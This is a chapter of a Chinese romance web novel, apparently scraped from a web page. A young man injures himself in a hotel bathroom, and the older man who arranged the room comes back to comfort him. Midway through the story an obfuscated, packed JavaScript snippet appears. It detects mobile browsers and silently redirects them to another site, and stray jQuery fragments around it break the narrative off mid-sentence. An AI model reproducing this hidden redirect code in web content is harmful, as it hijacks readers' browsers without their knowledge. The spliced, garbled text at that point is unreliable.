在贺君酌的沉默中,程桉渐渐低下了头。
“对不起贺先生,刚才我那样说……是不是太过分了。”
话音还未落地,男人沉声开口:“你目前的当务之急是好好休息。”
贺君酌不动声色地低头,看向程桉已经有些消肿结痂的脚腕。
他没忘记少年的背上还有一处伤口。
“好、好的贺先生。”程桉紧张地揪起衣摆,语气里带上了些沮丧:“让您担心了,明天,我会去学校的……”
不过话没说完,却被贺君酌淡淡打断:“这间房间会保留到明天中午十二点。”
“冲动之下做出的选择,容易后悔。建议你明天冷静下来再做决定。”
“给你留出半天时间,够用吗?”
程桉缓缓抬起头来,惊讶地望着身前的男人。
刚才那句脱口而出的“不想去学校”其实更像是一种逃避,他其实压根没有想清楚明天自己该何去何从。
就算是不去学校,旷课的结果也只会是老师一通电话打给程康世,然后自己又会挨上一通训斥。
再加上现在,真少爷已经被程康世派人偷偷接回了家……父亲心思的变化更让程桉感到不安害怕。
他完全没有想到自己刚才那近乎于任性的请求,竟会被贺君酌同意了一半。
可是仅仅是一半也很令他满足了,更何况男人还为他重新预留出了后悔与重新思考的余地。
再次开口时,程桉看向贺君酌的视线里已经充满了感激:“可以的,谢谢贺先生呀。”
“半天够用啦,我努力明天早上就想清楚。”
“嗯。”
贺君酌看着眼前的少年微微颔首。
他重新整理好衣摆,走到了门口。
“有什么问题的话,就按铃呼叫前台。”
“明天我会安排人来接你。”
程桉乖乖点头,目送着贺君酌离开。
大门一关上,程桉就狠狠呼出一口长气。
他终于放松下来,依偎在软乎乎的沙发里,对着自己那被贺君酌捡回来的布偶狗小声地自言自语:“贺先生哪有传言里说得那样可怕,人分明很好嘛。”
“不过……和他呆在一起时,还是让人很紧张就是了。”
程桉揉了揉布偶狗的头,望着它有些发呆。
它之前被那位真少爷摔到地上过,表面沾到了些许灰尘。
这一刻,程桉突然有些感谢程康世曾经厉声拒绝了自己想要养一条小狗的愿望。
不然碰到像今天这种有家难回的时刻,自己都已经挨打了,小狗的安全也很难得到保障。
程桉拍了拍布偶狗身上的灰尘,决定赶在睡前先给它洗个澡,这样明天就能干干净净地带走了。
他摇摇晃晃撑着沙发站起来,屏住呼吸轻轻活动了下脚腕。
或许贺君酌医疗箱里的药品确实不一般吧,药效上来后,脚腕几乎已经感觉不到痛了,看起来也没那么肿。
程桉放下心来,揣上布偶狗向浴室慢慢挪去。
豪华总统套房果然名不虚传,就连浴室里都装修得分外精致。大气的瓷砖在顶灯照射下熠熠生辉,生动诠释着什么叫内敛的奢华。
程桉一时间顿住了脚步,望着甚至连头顶都装备了小射灯和补光灯的洗手台呆了呆。
他蹙起眉头,开始认真辨认起台面上那些洗化用品的功用。
嗯……这一串是英文,可惜有长难句读不懂,那个好像是法语,一个词都不认识……
程桉突然觉得自己好像一只稀里糊涂闯进了富人区的小土狗。
他抱着布偶狗在洗手台前磨磨蹭蹭了好一会,最后随机挑选了一瓶闻着香香的、长得像洗手液的瓶子拆开了包装。
他抬手打开水龙头,把布偶狗完全浸湿,随后拿起瓶子轻轻一按。
噗呲一声,瓶子里泵出了一柱香波一样的液体,直直地溅落在台面和地上。
“啊……”程桉吓了一跳,下意识挪动半步,却一脚踩上那滑溜溜的液体,整个人都仰面朝后摔去。
手忙脚乱中他攀了下台面,试图减轻自己摔倒的力道,却还是重重一屁股坐在了地上。
布偶狗还在水池里,一部分水流渐渐从洗手池开始往外漫。
程桉急得额头出汗,他试图撑着地面站起来,却发现这大气奢华的瓷砖真是徒有其表,滑得根本没有抓手。
而且现在还出现一个很不妙的情况,刚才那一摔好像让他扯到了背,现在后腰处的伤口突然又难以抑制地疼了起来。
程桉又急又痛,一时间眼泪都在眼眶里打转儿了。
他想要反手去摸一下后背的情况,却连稍微动一下胳膊都会牵出一阵绵密的痛楚。
一个人跌坐在华丽空荡的浴室里,连疼出来的抽气声都有回音。
程桉忽然觉得好委屈。
先是被室友欺负,又被真少爷赶出家门,一整天来遇到的糟糕事情不断,本就已经濒临他心理能承受的极限。
终于被贺君酌好心安置在了贺家的酒店,他却又这么笨手笨脚地闯了祸,把人家酒店的浴室弄得水漫金山……
程桉瘪着嘴抽噎了两声,难过又自责,实在没忍住流下了两行眼泪。
水滴滴答答地往外漫,程桉连哭都不敢放开了哭,赶紧抬起袖口擦了擦眼泪。
他想起贺君酌临走前的叮嘱,泪眼朦胧地环顾四周,终于在灯光开关处看到了可以拨给酒店前台的按钮。
程桉忍着痛努力挺直小身板,抬手按铃。
“你、你好……总统套房这边可以来一下人吗……”程桉一开口鼻腔就酸涩得不行,没忍住又是一道眼泪滑下来,“可以不可以,帮帮我……”
接到了电话的领班额角一跳,匆忙起身带人往上赶的同时,掏出手机又给酒店经理打去电话。
“哥!快联系老板!他的人摔了!!”
几分钟后,贺君酌带着一身冷气匆匆赶到。
他推开门大步走进房间,就看见程桉裹着条小毯子,正缩坐在床头打着哆嗦。
领班和经理此刻都守在旁边,一个端着热水,一个送着暖宝宝,害怕地不敢和贺君酌对视。
“怎么回事?”贺君酌的眉心深深拧起,看向杵在旁边的两人。
二人被这极具压迫感的视线吓得抬不起头来,闻言一阵发抖。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380484|168450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正当经理抬起胳膊捅了捅领班,打算把人推出去背锅之时,床上裹着毯子的小人轻轻开口。
“贺先生,和他们无关的。是我……”
“是我自己太笨了,把什么都搞砸了……”
程桉抬起头来,带着鼻音闷闷地开口。
贺君酌这才看见,程桉那张巴掌大的小脸上,如今已是哭得绯红一片,一边说还一边往下掉眼泪。
心脏猛然一缩,垂在身侧的大手紧了紧。
贺君酌抬手挥退杵在一边的两人,慢慢走向床边。
见外人离开,程桉抖着嘴唇,试探张口。
“贺先生,对不起…我……”
程桉哽咽地低下头,此刻竟连道歉的话都堵在嘴边说不出口。
他抬手捂住了自己的半张脸,试图把哭嗝和颤抖都憋回去。
可是,可是怎么做不到呀……
眼泪又一次翻滚,从指缝间争先恐后地涌流而出,他觉得自己好没用好没用。
遮住了视线后的世界一片黑暗,程桉仿佛再次回到那个失事的电梯,一个人被困在那方压抑密闭的空间中走不出来,一个人默默地在这一天中经历着崩溃的轮回。
一阵短暂的静默过后,那道曾经在电梯中保护过他、给过他无限安全感的声音再次在房间中响起,将他果断扯出那可怖的迷雾。
“程桉。”
“抬头看着我。”
男人一如既往沉稳的声音从头顶传来,为慌乱到六神无主的少年缓缓注入支撑。
“想哭的话,现在可以哭出来。”
贺君酌的话语,像是一道让人可以无限信任、全身心依赖的指令,程桉下意识地选择了听从。
一阵衣摆轻微的摩擦声后。
程桉抽噎着,缓缓放下遮掩在自己眼前的手掌。
一双哭到泛红的杏眼微微睁圆。程桉惊讶地看见,放眼整个J市都高不可攀的天之骄子贺君酌,此时竟端着一杯温水,半蹲在自己面前。
贺君酌他……
程桉怔怔地揪着身上的小毯子,突然意识到此情此景似乎已经是第二次出现。
上一次就在几小时前的车上,贺君酌帮自己涂药的时候。
那些被他有意无意忽略掉的画面再次在眼前浮现,程桉有些恍惚。
他觉得自己好像在无形之中得到了什么很不一般的待遇,但又不敢在心里肯定。
程桉被这一通乱想分散了注意力,哭嗝倒是意外地止住了。
不想耽误贺君酌等待自己太久,他颤颤悠悠地伸出小手,将那盛着大半杯温水的玻璃杯从男人手中接过。
指尖相触,激起一阵难言的悸动。
程桉慌忙躲开视线,垂下脑袋闷头喝水。
“今晚……”
贺君酌望着眼前恨不得把小脑袋埋进水杯的程桉,缓缓落下一句,“需要人陪么。”
“咳!咳咳!”
程桉慌忙挪开水杯,被刚才这猛然听见的一句呛得说不话来。
他睁大了那双楚楚可怜的杏眼,惊疑不定地打量着面前男人的神色。
贺君酌……这是跟自己在开玩笑吗?!